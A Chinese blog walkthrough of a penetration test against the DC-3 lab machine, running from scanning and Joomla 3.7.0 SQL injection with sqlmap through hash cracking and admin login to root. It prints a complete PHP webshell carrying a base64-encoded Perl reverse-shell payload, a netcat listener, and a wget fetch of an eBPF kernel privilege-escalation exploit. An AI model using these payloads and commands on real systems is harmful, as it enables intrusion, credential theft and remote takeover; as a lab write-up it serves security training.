DC-3靶机渗透测试

DC-3靶机渗透测试

1. 信息收集

1.1 主机扫描

arp-scan -l

image-20230806151221528

1.2 端口扫描

nmap -A -p- 192.168.188.173

说明:

  • -A:扫描端口的详细信息。
  • -p-:使用 -p- 参数表示对目标主机上的所有65535个端口进行扫描。这相当于指定了 -p1-65535,以便扫描目标主机的所有端口。

image-20230806151346924

80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

Joomla!是一套开源的内容管理系统(CMS),基于PHP和MySQL开发,构建灵活,功能强大。

1.3 目录扫描

dirsearch -u 192.168.188.173 -e * -i 200

说明:

  • dirsearch是一个基于python3的命令行工具,常用于暴力扫描页面结构,包括网页中的目录和文件。
  • -u:使用 -u 参数指定要扫描的目标网址。
  • -e *:使用 -e 参数指定要扫描的文件扩展名。这里使用 * 表示扫描所有的文件扩展名。也可以指定特定的文件扩展名,例如 -e php,txt,以限制扫描的文件类型。
  • -i 200:使用 -i 参数指定要忽略的状态码。在这种情况下,参数值为 200,表示当响应的状态码为 200(成功)时,不显示输出结果。这通常用于隐藏有效的页面。
    • -i 状态码:只显示该状态码。
    • -x 状态码:不显示该状态码。

image-20230806151937381

扫描到的后台登录界面路径。

查看web页面

image-20230806152413135

后台登录网站192.168.188.173/administrator/

image-20230806152656730

2. 漏洞查找

2.1 joomscan

joomscan:joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具

image-20230806152956692

启动joomscan

joomscan -u 要扫描的目标机的IP地址

joomscan -u 192.168.188.173
  • -u:表示后面跟要扫描的路径

image-20230806153126006

扫描出了cms的版本,还有一些目录跟后台登入界面。

2.2 searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块。可参考searchsploit漏洞查找工具使用指南

searchsploit joomla 3.7.0

image-20230806153422150

当前cms存在SQL注入的漏洞,还有跨站扫描漏洞。

查看SQL注入的漏洞的完整路径命令:

searchsploit -p php/webapps/42033.txt

image-20230806195549505

/usr/share/exploitdb/exploits/php/webapps/42033.txt

拷贝漏洞的详细信息到桌面。

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/Desktop/42033.txt

查看文件内容

image-20230806153827947

searchsploit给出了SQL注入漏洞的注入点

3. 漏洞利用

3.1 SQL注入

利用sqlmap进行自动化注入。

Sqlmap常用命令总结Sqlmap 入门命令使用详解说明

列出所有数据库

sqlmap -u "http://192.168.188.173/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dbs

说明

  • --level 5: 表示使用最深入的检测方法。更高的风险和级别设置可以提高检测的准确性,但也可能导致更多的请求和耗时。

  • --risk 3:执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全。

  • --random-agent:该选项是为了在HTTP请求头中添加随机的用户代理,以模拟不同的浏览器和用户。

  • -p list[fullordering]-p 选项指定了要检测的参数,这里是 list[fullordering]。该参数可能存在SQL注入漏洞,因此 sqlmap 将尝试利用它来执行进一步的攻击。

  • --dbs:检测站点包含哪些数据库。sqlmap将尝试发现目标数据库系统并列出可用的数据库。

image-20230806155312378

列出joomladb数据库的所有表

sqlmap -u "http://192.168.188.173/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables

image-20230806155525847

查看表中所有的字段

sqlmap -u "http://192.168.188.173/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns

image-20230806160347867

查看用户名与密码

sqlmap -u "http://192.168.188.173/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

image-20230806160445118

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

该密码是加密后的,没有加密函数只能爆破密码

3.2 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用John指向该文件。

image-20230806160729930

john /root/Desktop/passwd 

image-20230806160754054

密码为:snoopy

登录后台

image-20230806162009256

3.3 反弹shell

反弹 shell” (Reverse Shell)是一种常见的网络攻击技术,用于建立从目标系统到攻击者控制的远程连接。通过反弹 shell,攻击者可以远程操控目标系统并执行命令。

具体来说,反弹 shell 的过程如下:

  1. 攻击者在自己的机器上启动一个监听程序(通常是一个反向 shell 或类似的工具)等待连接。
  2. 攻击者将恶意代码或命令注入目标系统,以便目标系统与攻击者的机器建立连接。
  3. 目标系统上的恶意代码或命令会尝试连接到攻击者的机器上的监听程序。
  4. 一旦连接建立,攻击者就能够在目标系统上执行命令和操作,并将结果发送回攻击者的机器。

反弹 shell 技术通常用于渗透测试、漏洞利用或非法入侵活动。它允许攻击者绕过目标系统上的防火墙或其他安全设备,并远程控制目标系统

探索后台管理员系统,发现了文件上传的点位,在beez3模块里。

image-20230806161846859

image-20230806161914398

这里有文件上传过滤,但是可以自己创建一个文件,写入木马可以直接使用反弹shell

image-20230806162225833

将PHP反弹shell代码复制进去

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

修改代码里面的 y o u r i p 和 yourip和 youripyourport。

image-20230806163018237

保存就上传成功了,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.188.173/templates/beez3/webshell.php

kali监听8888端口:

nc -lvvp 8888

说明:这是一个用于创建一个本地监听器的命令,它使用的是Netcat(nc)工具。

  • -l:表示监听模式,用于创建一个监听器来接收传入的连接。
  • -v:表示详细模式(verbose mode),用于显示更多的输出信息,包括连接细节和数据传输。
  • -p:指定要监听的端口号,这里设定为8888,即监听流量传输到该端口。
  • -vp:结合使用-v-p参数,同时启用详细模式和指定端口号。

image-20230806163212983

接着去访问上传文件webshell的地址,执行反弹shell的php代码。

image-20230806163442085

回到监听端口的终端。

image-20230806163422358

反弹shell成功。

3.4 Get交互shell

利用python3获取交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

命令解析:

  • python3:这是 Python 3 解释器执行命令。

  • -c 'import pty; pty.spawn("/bin/bash")'

    • -c:用于指定要执行的 Python 代码。

    • import pty:导入 Python 中的 pty 模块。pty 模块是一个伪终端模块,用于控制终端会话。

    • pty.spawn("/bin/bash"):使用 pty 模块的 spawn() 函数来创建一个新的伪终端会话。在这里,将 /bin/bash(Bash Shell)作为参数传递给 spawn() 函数,以启动一个新的 Bash Shell(交互式终端)。

通过在终端中执行 python3 -c 'import pty; pty.spawn("/bin/bash")' 命令,将会创建一个交互式的 Bash Shell。这对于在某些情况下,例如当你只能访问一个非交互式 shell(如 SSH 或远程执行命令时),但希望能够使用交互式 shell 的功能和权限时非常有用。

image-20230806164042416

交互shell获取成功,但是还不是root权限。

4. 提权

4.1 查看操作系统版本信息

查看操作系统版本信息

tac /etc/issue
  • /etc/issue.net 是一个文本文件,它包含了在登录提示符出现之前显示的信息或者系统标识。

image-20230806203627955

cat /proc/version
  • /proc/version:当前系统运行的内核版本号。

image-20230806164546886

uname -a
  • uname -a:查看系统的内核版本与系统架构

image-20230806164640603

4.2 搜索操作系统漏洞

打开一个新终端,使用searchsploit工具搜索系统中存在的漏洞 。

searchsploit Ubuntu 16.04

image-20230806164856763

Privilege Escalation(提权),这里使用通用4.4.x版本的提权方式,完整path。

使用find命令查找路径

find / -name '39772.txt'
/usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230806165157283

也可以使用searchsploit -p linux/local/39772.txt会直接显示出绝对路径

searchsploit -p linux/local/39772.txt

说明-p: --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号。

image-20230806165411615

查看文件

vim /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230806165847325

文本中写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接。

下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip。

4.3 利用exp提权

下载该压缩包并放到kali桌面里,解压该文件。

image-20230806170534366

然后在桌面打开终端然后开启http服务,将下载好的文件导入到DC-3靶机里。

python3 -m http.server 8888

这个命令用于在当前目录下启动一个简单的 HTTP 服务器,以便通过浏览器或其他 HTTP 客户端访问本地文件。命令的详细解析:

  • python3:这是 Python 3 解释器执行命令。

  • -m http.server

    • -m:用于告诉 Python 解释器运行一个指定的模块。

    • http.server:是 Python 内置的一个模块,提供了一个简单的 HTTP 服务器实现。它位于 http 包中,用于处理 HTTP 请求和响应。

  • 8888:这是指定的端口号,用于监听传入的 HTTP 请求。在这个例子中,服务器将会监听本地的 8888 端口。

通过在终端中执行 python3 -m http.server 8888 命令,将会在当前目录下启动一个 HTTP 服务器。该服务器会监听本地的 8888 端口,并向客户端提供文件传输服务。可以通过浏览器或其他 HTTP 客户端访问该服务器,并浏览、下载当前目录下的文件(在本例中可以下载当前桌面下的文件)。

注意,默认情况下,该服务器将使用无需身份验证的简单 HTTP。这意味着任何能够连接到服务器的人都可以查看目录中的文件。

image-20230806170642819

浏览器访问一下开启的http服务。

image-20230806170720105

出现这个说明服务开启成功,exp地址是:

http://192.168.188.133:8888/39772/39772/exploit.tar

回到虚拟终端,利用wget命令下载该工具

wget http://192.168.188.133:8888/39772/39772/exploit.tar
  • wget:终端下载网络文件。

image-20230806170957558

下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

image-20230806171106742

进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

ls

根据之前文本的提示找到这两个文件

image-20230806171441633

在当前目录下执行这两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

image-20230806171641493

./doubleput

image-20230806171714731

提权成功

image-20230806171848820

4.4 查找flag

cd /root

cat the-flag.txt

image-20230806172032077

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值